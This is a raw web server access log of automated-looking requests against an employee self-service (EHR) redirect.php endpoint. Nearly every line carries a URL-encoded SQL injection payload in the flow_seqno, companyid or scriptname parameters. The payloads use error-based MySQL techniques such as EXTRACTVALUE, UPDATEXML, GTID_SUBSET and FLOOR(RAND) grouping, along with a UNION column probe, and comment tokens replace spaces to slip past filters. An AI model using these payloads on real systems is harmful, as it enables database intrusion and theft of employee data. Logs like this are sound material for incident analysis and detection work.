100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4e53546c%2C%28NULL%29%2C0x6234314a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4763744f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68684733%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4763744f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68684733%29%29x%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x55364877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3855526b%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x55364877%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3855526b%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x634d6b61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49413676%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x634d6b61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49413676%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66564f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61765171%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66564f7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61765171%29%29%2C1%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76426c30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71415736%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76426c30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71415736%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f73745a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50725a54%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f73745a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50725a54%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c36554e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7054476e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c36554e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7054476e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x69736745%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x436c4667%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x69736745%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x436c4667%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6564596e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72426b51%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FEEfR%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6564596e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72426b51%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FEEfR%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x686a6635%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72726c34%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x686a6635%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72726c34%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b71666e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37556c68%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b71666e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37556c68%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6c646463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5932366c%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6c646463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5932366c%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x504a6f58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4957484e%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x504a6f58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4957484e%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x43796351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59306b5a%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x43796351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59306b5a%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51303767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31766c30%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZzXi&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51303767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31766c30%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZzXi&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x65787171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76714650%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x65787171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76714650%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45394836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b4431%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45394836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b4431%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x72326a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6667766b%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x72326a45%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6667766b%29%2C5431%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7330364c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38376f7a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
